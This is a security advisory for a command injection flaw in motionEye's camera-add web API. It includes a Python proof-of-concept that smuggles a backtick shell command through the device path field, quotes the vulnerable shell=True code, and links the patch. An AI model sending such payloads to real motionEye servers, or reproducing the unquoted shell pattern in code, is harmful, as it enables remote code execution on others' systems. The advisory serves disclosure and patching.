GHSA-g5mq-prx7-c588

Summary

Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.

function call stack

1. post
2. add_camera
3. config.add_camera
4. v4l2ctl.list_resolutions
5. utils.call_subprocess
6. subprocess.run

PoC

build

RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"

docker build \
  --network host \
  --build-arg="RUN_UID=${RUN_UID?}" \
  --build-arg="RUN_GID=${RUN_GID?}" \
  -t "${USER?}/motioneye:${TIMESTAMP}" \
  --no-cache \
  -f docker/Dockerfile .

reproduce

Run:

docker run --rm  -d   -p 8765:8765   --hostname="motioneye"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye

bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
    INFO: hello! this is motionEye server 0.43.1b3
   DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
   DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
   DEBUG: listing config dir /etc/motioneye...
   DEBUG: found camera with id 1
   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
   DEBUG: loading additional config structure for camera, without separators
   DEBUG: Using selector: EpollSelector
   DEBUG: searching motion executable
   DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
    INFO: cleanup started
    INFO: wsswitch started
    INFO: tasks started
    INFO: mjpg customer garbage collector has started
    INFO: server started

Now, run the following script to attack motionEye:

import requests
import json

url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"

payload = json.dumps({
  "proto": "v4l2",
  "path": "' `touch /tmp/bbbb` '"
})
headers = {
  'Content-Type': 'application/json'
}

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

Discussion

It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability

def list_resolutions(device):
    from motioneye import motionctl

    device = utils.make_str(device)

    if device in _resolutions_cache:
        return _resolutions_cache[device]

    logging.debug(f'listing resolutions of device {device}...')

    resolutions = set()
    output = b''
    started = time.time()
    cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
    logging.debug(f'running command "{cmd}"')

    try:
        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
    except:
        logging.error(f'failed to list resolutions of device "{device}"')

    output = utils.make_str(output)

def call_subprocess(
    args,
    stdin=None,
    input=None,
    stdout=subprocess.PIPE,
    stderr=DEV_NULL,
    capture_output=False,
    shell=False,
    cwd=None,
    timeout=None,
    check=True,
    encoding='utf-8',
    errors=None,
    text=None,
    env=None,
) -> str:
    """subprocess.run wrapper to return output as a decoded string"""
    return subprocess.run(
        args,
        stdin=stdin,
        input=input,
        stdout=stdout,
        stderr=stderr,
        capture_output=capture_output,
        shell=shell,
        cwd=cwd,
        timeout=timeout,
        check=check,
        encoding=encoding,
        errors=errors,
        text=text,
        env=env,
    ).stdout.strip()

Impact

RCE

Patches

The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143

Workarounds

Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch

References

https://github.com/motioneye-project/motioneye/issues/3142

Credit

The vulnerability was discovered by Tencent YunDing Security Lab.